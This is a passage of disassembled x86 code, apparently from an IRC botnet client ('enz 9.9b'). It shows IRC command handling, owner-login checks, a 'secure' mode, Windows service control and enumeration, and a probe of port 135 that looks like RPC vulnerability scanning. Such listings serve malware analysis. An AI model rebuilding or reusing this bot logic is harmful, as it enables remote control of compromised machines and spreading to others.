sub_40CE55+28E3j ... lea eax, [ebp+var_2C8] push eax jmp loc_40E519 ; --------------------------------------------------------------------------- loc_4124E2: ; CODE XREF: sub_40CE55+138Aj ; sub_40CE55+139Fj push offset aIdsppn ; "idsppn" lea eax, [ebp+var_2C8] push offset dword_433610 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 20h jmp loc_40EFA7 ; --------------------------------------------------------------------------- loc_412519: ; CODE XREF: sub_40CE55+1360j ; sub_40CE55+1375j push dword_468838 call sub_40A9B2 push eax lea eax, [ebp+var_2C8] push offset dword_4335D0 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 24h jmp loc_40EFA7 ; --------------------------------------------------------------------------- loc_412557: ; CODE XREF: sub_40CE55+1336j ; sub_40CE55+134Bj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_412589 cmp [ebp+var_C], ebx jz short loc_412598 push esi push [ebp+var_C] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz short loc_412598 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_412D06 add esp, 0Ch jmp short loc_412598 ; --------------------------------------------------------------------------- loc_412589: ; CODE XREF: sub_40CE55+570Bj push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_412D06 pop ecx pop ecx loc_412598: ; CODE XREF: sub_40CE55+5710j ; sub_40CE55+571Fj ... push 0FFFFFFFEh jmp loc_40D21B ; --------------------------------------------------------------------------- loc_41259F: ; CODE XREF: sub_40CE55+130Cj ; sub_40CE55+1321j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_412D06 push offset dword_43357C call sub_40B16D add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40D21C ; --------------------------------------------------------------------------- loc_4125C1: ; CODE XREF: sub_40CE55+12E2j ; sub_40CE55+12F7j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_412D06 push offset dword_433538 call sub_40B16D add esp, 0Ch xor eax, eax jmp loc_40D21C ; --------------------------------------------------------------------------- loc_4125E2: ; CODE XREF: sub_40CE55+12B8j ; sub_40CE55+12CDj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_407135 jmp loc_410E9B ; --------------------------------------------------------------------------- loc_4125F8: ; CODE XREF: sub_40CE55+1213j ; sub_40CE55+1228j push [ebp+esi+var_90] push 1Eh push offset dword_433528 push offset dword_43351C jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_412610: ; CODE XREF: sub_40CE55+11E9j ; sub_40CE55+11FEj push [ebp+esi+var_90] push 1Bh push offset dword_433510 push offset dword_433500 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_412628: ; CODE XREF: sub_40CE55+1014j ; sub_40CE55+1029j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_412647 push edi call sub_415A5F test eax, eax pop ecx jz short loc_412647 push edi call sub_415A5F pop ecx jmp short loc_41264C ; --------------------------------------------------------------------------- loc_412647: ; CODE XREF: sub_40CE55+57DCj ; sub_40CE55+57E7j mov eax, dword_42C184 loc_41264C: ; CODE XREF: sub_40CE55+57F0j mov esi, [ebp+esi+var_8C] mov [ebp+var_464], eax cmp esi, ebx jz short loc_412671 push esi loc_41265E: ; CODE XREF: sub_40CE55+582Bj lea eax, [ebp+var_474] push 10h push eax call sub_415A6A add esp, 0Ch jmp short loc_412688 ; --------------------------------------------------------------------------- loc_412671: ; CODE XREF: sub_40CE55+5806j cmp [ebp+var_9B3], bl jz short loc_412682 lea eax, [ebp+var_C4] push eax jmp short loc_41265E ; --------------------------------------------------------------------------- loc_412682: ; CODE XREF: sub_40CE55+5822j mov [ebp+var_474], bl loc_412688: ; CODE XREF: sub_40CE55+581Aj mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_458], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_454], eax lea eax, [ebp+var_4F4] push eax mov [ebp+var_4F8], esi call sub_415A6A add esp, 0Ch push [ebp+var_464] push esi call sub_40A171 pop ecx push eax lea eax, [ebp+var_2C8] push offset unk_427D5C push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 11h push eax call sub_414F93 add esp, 1Ch mov [ebp+var_460], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F8] push ebx push eax push offset sub_40800A push ebx push ebx call dword_42108C mov ecx, [ebp+var_460] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_412739 loc_412723: ; CODE XREF: sub_40CE55+58E2j cmp [ebp+var_450], ebx jnz loc_40D219 push 32h call dword_421060 jmp short loc_412723 ; --------------------------------------------------------------------------- loc_412739: ; CODE XREF: sub_40CE55+58CCj call dword_421088 push eax push offset unk_4334B4 jmp loc_40D402 ; --------------------------------------------------------------------------- loc_41274A: ; CODE XREF: sub_40CE55+FC0j ; sub_40CE55+FD5j ... push edi push offset aSecure ; "secure" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_412772 push edi push offset aSec ; "sec" call sub_415910 pop ecx mov [ebp+var_458], ebx test eax, eax pop ecx jnz short loc_41277C loc_412772: ; CODE XREF: sub_40CE55+5904j mov [ebp+var_458], 1 loc_41277C: ; CODE XREF: sub_40CE55+591Bj push [ebp+var_8C] lea eax, [ebp+var_4DC] push 80h push eax call sub_415A6A mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_458], ebx mov [ebp+var_4E0], eax mov eax, [ebp+var_4] mov [ebp+var_454], eax mov eax, [ebp+var_8] mov [ebp+var_450], eax mov eax, offset aSecuring ; "Securing" jnz short loc_4127C3 mov eax, offset aUnsecuring ; "Unsecuring" loc_4127C3: ; CODE XREF: sub_40CE55+5967j push eax push offset dword_433464 lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A push ebx lea eax, [ebp+var_2C8] push 19h push eax call sub_414F93 add esp, 1Ch mov [ebp+var_45C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4E0] push ebx push eax push offset sub_41465A push ebx push ebx call dword_42108C mov ecx, [ebp+var_45C] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_412833 loc_412821: ; CODE XREF: sub_40CE55+59DCj cmp [ebp+var_44C], ebx jnz short loc_41284E push 32h call dword_421060 jmp short loc_412821 ; --------------------------------------------------------------------------- loc_412833: ; CODE XREF: sub_40CE55+59CAj call dword_421088 push eax push offset unk_433414 loc_41283F: ; CODE XREF: sub_40CE55+3C66j ; sub_40CE55+4738j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch loc_41284E: ; CODE XREF: sub_40CE55+295Fj ; sub_40CE55+2981j ... lea eax, [ebp+var_2C8] push eax call sub_40B16D jmp loc_40D408 ; --------------------------------------------------------------------------- loc_41285F: ; CODE XREF: sub_40CE55+F96j ; sub_40CE55+FABj push offset aEnz9_9b ; "enz 9.9b" push offset dword_4333F0 loc_412869: ; CODE XREF: sub_40CE55+44D8j ; sub_40CE55+47ECj ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 loc_412875: ; CODE XREF: sub_40CE55+5156j add esp, 0Ch jmp loc_40EF86 ; --------------------------------------------------------------------------- loc_41287D: ; CODE XREF: sub_40CE55+F6Cj ; sub_40CE55+F81j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_4128DD push esi call sub_415A5F cmp eax, ebx pop ecx jl short loc_4128D2 cmp eax, 2 jge short loc_4128D2 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_4128C7 lea eax, [esi+1] push eax lea eax, [ebp+var_2C8] push offset dword_436538 push eax call sub_4154E7 add esp, 0Ch mov [esi], bl jmp loc_40ECC3 ; --------------------------------------------------------------------------- loc_4128C7: ; CODE XREF: sub_40CE55+5A51j push eax push offset dword_4333B0 jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_4128D2: ; CODE XREF: sub_40CE55+5A3Cj ; sub_40CE55+5A41j push eax push offset dword_433370 jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_4128DD: ; CODE XREF: sub_40CE55+5A31j mov edi, [ebp+arg_18] xor esi, esi loc_4128E2: ; CODE XREF: sub_40CE55+5AA9j push [ebp+var_94] push edi call sub_415910 pop ecx test eax, eax pop ecx jz short loc_412905 inc esi add edi, 80h cmp esi, 2 jl short loc_4128E2 jmp loc_40ECC3 ; --------------------------------------------------------------------------- loc_412905: ; CODE XREF: sub_40CE55+5A9Dj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset dword_436538 jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_41291F: ; CODE XREF: sub_40CE55+F42j ; sub_40CE55+F57j push [ebp+var_90] push offset dword_436490 call sub_415910 pop ecx test eax, eax pop ecx jz short loc_41298E call sub_41515C push ebx call dword_421114 loc_412941: ; CODE XREF: sub_40CE55+F18j ; sub_40CE55+F2Dj push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_9A4], bl setnz al push eax lea eax, [ebp+var_564] push dword_42C1A4 push eax call sub_414433 lea eax, [ebp+var_564] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_412D06 lea eax, [ebp+var_564] push eax push offset dword_433338 call sub_40B1E1 loc_41298B: ; CODE XREF: sub_40CE55+2ADAj add esp, 24h loc_41298E: ; CODE XREF: sub_40CE55+65Cj ; sub_40CE55+668j ... mov eax, [ebp+arg_24] jmp loc_40D21C ; --------------------------------------------------------------------------- loc_412996: ; CODE XREF: sub_40CE55+B18j ; sub_40CE55+B2Dj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40D219 cmp [ebp+var_98], ebx jnz loc_40D219 push offset dword_42F3F8 push [ebp+var_94] call sub_416C98 mov esi, eax push offset dword_438FF4 push ebx inc esi call sub_416C98 push offset asc_433334 ; "~" push eax call sub_416C98 push [ebp+arg_0] mov edi, eax push offset aHi ; "hi" call sub_415910 add esp, 20h test eax, eax jz short loc_412A3E lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_412D06 lea eax, [ebp+var_C4] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_412D06 push edi push esi push offset dword_4332A8 loc_412A2A: ; CODE XREF: sub_40CE55+5C45j lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 30h jmp loc_40D7F9 ; --------------------------------------------------------------------------- loc_412A3E: ; CODE XREF: sub_40CE55+5B9Cj mov [ebp+arg_24], offset off_42C264 loc_412A45: ; CODE XREF: sub_40CE55+5C0Cj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_4152EC pop ecx test eax, eax pop ecx jnz short loc_412A9C add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_42C268 jl short loc_412A45 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_412D06 lea eax, [ebp+var_C4] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_412D06 push edi push esi push offset dword_433268 jmp short loc_412A2A ; --------------------------------------------------------------------------- loc_412A9C: ; CODE XREF: sub_40CE55+5BFFj mov edi, [ebp+arg_18] xor esi, esi loc_412AA1: ; CODE XREF: sub_40CE55+5C76j cmp [ebp+arg_0], ebx jz loc_40D219 cmp [edi], bl jnz short loc_412AC1 push [ebp+arg_0] push offset aHi ; "hi" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_412AD2 loc_412AC1: ; CODE XREF: sub_40CE55+5C57j inc esi add edi, 80h cmp esi, 2 jl short loc_412AA1 jmp loc_40D219 ; --------------------------------------------------------------------------- loc_412AD2: ; CODE XREF: sub_40CE55+5C6Aj shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_A94] push 7Fh push eax push esi call sub_416D40 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_412B09 push ebx push [ebp+var_4] push offset dword_433234 push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_412B09: ; CODE XREF: sub_40CE55+5C98j lea eax, [ebp+var_C4] push eax push offset dword_433200 jmp loc_40D402 ; --------------------------------------------------------------------------- loc_412B1A: ; CODE XREF: sub_40CE55+20Ej ; sub_40CE55+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_412D06 push offset dword_42C240 push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_412D06 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_412D06 add esp, 2Ch mov dword_4689B8, edi jmp loc_40D0F2 sub_40CE55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B60 proc near ; CODE XREF: sub_412B98+125p ; sub_412B98+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_412B8E loc_412B71: ; CODE XREF: sub_412B60+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_417930 add esp, 0Ch test eax, eax jz short loc_412B94 inc esi cmp esi, edi jl short loc_412B71 loc_412B8E: ; CODE XREF: sub_412B60+Fj xor al, al loc_412B90: ; CODE XREF: sub_412B60+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_412B94: ; CODE XREF: sub_412B60+27j mov al, 1 jmp short loc_412B90 sub_412B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B98 proc near ; CODE XREF: sub_4033CB+8Bp ; sub_4033CB+174p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_415D70 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_412BD9 dec eax jz short loc_412BB7 dec eax loc_412BB1: ; CODE XREF: sub_412B98+57j xor eax, eax loc_412BB3: ; CODE XREF: sub_412B98+3Fj ; sub_412B98+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_412BB7: ; CODE XREF: sub_412B98+16j push 3 push 1388h push [ebp+arg_0] call dword_43A3F8 push eax call sub_4076EE add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_412BB3 ; --------------------------------------------------------------------------- loc_412BD9: ; CODE XREF: sub_412B98+13j push 6 push 1 push 2 call dword_43A438 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_412BB1 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_415570 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_43A3B8 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A05B pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_43A360 cmp eax, edi jz loc_412CF5 push ebx push 48h push offset dword_4365B0 push esi call dword_43A408 cmp eax, edi jz loc_412CF5 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43A3D0 cmp eax, edi jz loc_412CF5 cmp [ebp+var_200E], 0Ch jnz short loc_412CF5 push ebx push 18h push offset dword_4365FC push [ebp+arg_4] call dword_43A408 cmp eax, edi jz short loc_412CF5 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43A3D0 mov esi, eax cmp esi, edi jz short loc_412CF5 cmp [ebp+var_200E], 2 jnz short loc_412CF5 push 10h push offset loc_436618 lea eax, [ebp+var_2010] push esi push eax call sub_412B60 add esp, 10h test al, al jz short loc_412CD5 cmp esi, 12Ch setnl bl inc ebx jmp short loc_412CF5 ; --------------------------------------------------------------------------- loc_412CD5: ; CODE XREF: sub_412B98+12Fj push 10h push offset dword_43662C lea eax, [ebp+var_2010] push esi push eax call sub_412B60 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_412CF5: ; CODE XREF: sub_412B98+9Bj ; sub_412B98+B2j ... push [ebp+arg_4] call dword_43A450 mov eax, ebx pop ebx jmp loc_412BB3 sub_412B98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D06 proc near ; CODE XREF: sub_40CCDD+3Dp ; sub_40CE55+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41748F add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43A408 leave retn sub_412D06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D4C proc near ; CODE XREF: sub_401000+88p ; sub_401447+76p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_412D67 mov edi, offset aPrivmsg ; "PRIVMSG" loc_412D67: ; CODE XREF: sub_412D4C+14j push edi call sub_415CF0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_415CF0 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_1 ; "%s" push esi push eax call sub_415A6A lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_436640 push eax call sub_4154E7 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43A408 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_412DE5 push 7D0h call dword_421060 locret_412DE5: ; CODE XREF: sub_412D4C+8Cj leave retn sub_412D4C endp ; =============== S U B R O U T I N E ======================================= sub_412DE7 proc near ; CODE XREF: sub_40CE55:loc_40ED61p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_412E4C lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_436658[esi] push edi push eax call sub_412E6E add esp, 14h test eax, eax jnz short loc_412E2F push edi push off_436654[esi] mov esi, offset dword_469080 push offset dword_43678C push esi call sub_4154E7 add esp, 10h jmp short loc_412E69 ; --------------------------------------------------------------------------- loc_412E2F: ; CODE XREF: sub_412DE7+2Aj push eax call sub_412F10 push eax push edi mov esi, offset dword_469080 push offset dword_436750 push esi call sub_4154E7 add esp, 14h jmp short loc_412E69 ; --------------------------------------------------------------------------- loc_412E4C: ; CODE XREF: sub_412DE7+Cj lea eax, [eax+eax*2] mov esi, offset dword_469080 push off_436650[eax*4] push offset dword_436718 push esi call sub_4154E7 add esp, 0Ch loc_412E69: ; CODE XREF: sub_412DE7+46j ; sub_412DE7+63j mov eax, esi pop edi pop esi retn sub_412DE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E6E proc near ; CODE XREF: sub_412DE7+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_43A3AC mov edi, eax cmp edi, ebx jnz short loc_412E95 call dword_421088 mov ebx, eax jmp short loc_412F0A ; --------------------------------------------------------------------------- loc_412E95: ; CODE XREF: sub_412E6E+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_43A2A0 mov esi, eax cmp esi, ebx jnz short loc_412EB5 call dword_421088 mov ebx, eax jmp short loc_412F02 ; --------------------------------------------------------------------------- loc_412EB5: ; CODE XREF: sub_412E6E+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_412EE8 cmp eax, 3 jz short loc_412ED9 jle short loc_412EFB cmp eax, 6 jg short loc_412EFB lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_43A308 jmp short loc_412EEF ; --------------------------------------------------------------------------- loc_412ED9: ; CODE XREF: sub_412E6E+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_43A2A8 jmp short loc_412EEF ; --------------------------------------------------------------------------- loc_412EE8: ; CODE XREF: sub_412E6E+4Dj push esi call dword_43A30C loc_412EEF: ; CODE XREF: sub_412E6E+69j ; sub_412E6E+78j test eax, eax jnz short loc_412EFB call dword_421088 mov ebx, eax loc_412EFB: ; CODE XREF: sub_412E6E+54j ; sub_412E6E+59j ... push esi call dword_43A2BC loc_412F02: ; CODE XREF: sub_412E6E+45j push edi call dword_43A2BC pop esi loc_412F0A: ; CODE XREF: sub_412E6E+25j mov eax, ebx pop edi pop ebx leave retn sub_412E6E endp ; =============== S U B R O U T I N E ======================================= sub_412F10 proc near ; CODE XREF: sub_412DE7+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_412FC5 jz loc_412FBE add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_412F88 jz short loc_412F7E mov ecx, eax sub ecx, 3 jz short loc_412F74 dec ecx dec ecx jz short loc_412F6A dec ecx jz short loc_412F60 sub ecx, 51h jz short loc_412F56 sub ecx, 24h jnz loc_41303B ; default ; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16 loc_412F4C: ; DATA XREF: .nsp0:off_42B834o push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_41302D ; --------------------------------------------------------------------------- loc_412F56: ; CODE XREF: sub_412F10+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_41302D ; --------------------------------------------------------------------------- loc_412F60: ; CODE XREF: sub_412F10+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_41302D ; --------------------------------------------------------------------------- loc_412F6A: ; CODE XREF: sub_412F10+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_41302D ; --------------------------------------------------------------------------- loc_412F74: ; CODE XREF: sub_412F10+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_41302D ; --------------------------------------------------------------------------- loc_412F7E: ; CODE XREF: sub_412F10+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_41302D ; --------------------------------------------------------------------------- loc_412F88: ; CODE XREF: sub_412F10+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_412FB7 dec ecx jz short loc_412FB0 dec ecx jz short loc_412FA9 dec ecx jnz loc_41303B ; default ; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_41302D ; --------------------------------------------------------------------------- loc_412FA9: ; CODE XREF: sub_412F10+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FB0: ; CODE XREF: sub_412F10+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FB7: ; CODE XREF: sub_412F10+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FBE: ; CODE XREF: sub_412F10+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FC5: ; CODE XREF: sub_412F10+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_41303B ; default ; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16 jz short loc_413028 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_41303B ; default ; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_41307C[ecx] jmp off_413054[ecx*4] ; switch jump loc_412FE9: ; DATA XREF: .nsp0:off_413054o push offset aTheSpecifiedDa ; jumptable 00412FE2 case 7 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FF0: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheServiceDepe ; jumptable 00412FE2 case 17 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FF7: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheServiceDe_0 ; jumptable 00412FE2 case 10 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FFE: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheServiceHasB ; jumptable 00412FE2 case 0 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_413005: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheSpecified_0 ; jumptable 00412FE2 case 2 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_41300C: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheServiceCoul ; jumptable 00412FE2 case 11 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_413013: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheServiceHa_0 ; jumptable 00412FE2 case 14 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_41301A: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheRequested_1 ; jumptable 00412FE2 case 3 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_413021: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheServiceHasN ; jumptable 00412FE2 case 4 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_413028: ; CODE XREF: sub_412F10+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_41302D: ; CODE XREF: sub_412F10+41j ; sub_412F10+4Bj ... push offset dword_4689C0 call sub_4154E7 pop ecx pop ecx jmp short loc_41304E ; --------------------------------------------------------------------------- loc_41303B: ; CODE XREF: sub_412F10+36j ; sub_412F10+89j ... push eax ; default ; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4689C0 call sub_4154E7 add esp, 0Ch loc_41304E: ; CODE XREF: sub_412F10+129j mov eax, offset dword_4689C0 retn sub_412F10 endp ; --------------------------------------------------------------------------- off_413054 dd offset loc_412FFE ; DATA XREF: sub_412F10+D2r dd offset loc_413005 ; jump table for switch statement dd offset loc_41301A dd offset loc_413021 dd offset loc_412FE9 dd offset loc_412FF7 dd offset loc_41300C dd offset loc_413013 dd offset loc_412FF0 dd offset loc_41303B byte_41307C db 0, 9, 1, 2 ; DATA XREF: sub_412F10+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41308E proc near ; CODE XREF: sub_40CE55+1F37p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43A3AC push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_4130C6: ; CODE XREF: sub_41308E+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_43A378 test eax, eax jnz short loc_413100 call dword_421088 cmp eax, 0EAh jnz loc_4131B4 loc_413100: ; CODE XREF: sub_41308E+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_4131AB lea esi, [ebp+var_188] loc_413111: ; CODE XREF: sub_41308E+117j mov eax, [esi+8] dec eax jz short loc_41315A dec eax jz short loc_413153 dec eax jz short loc_41314C dec eax jz short loc_413145 dec eax jz short loc_41313E dec eax jz short loc_413137 dec eax jz short loc_413130 push offset aUnknown_1 ; " Unknown" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_413130: ; CODE XREF: sub_41308E+99j push offset aPaused_0 ; " Paused" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_413137: ; CODE XREF: sub_41308E+96j push offset aPausing ; " Pausing" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_41313E: ; CODE XREF: sub_41308E+93j push offset aContinuing ; " Continuing" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_413145: ; CODE XREF: sub_41308E+90j push 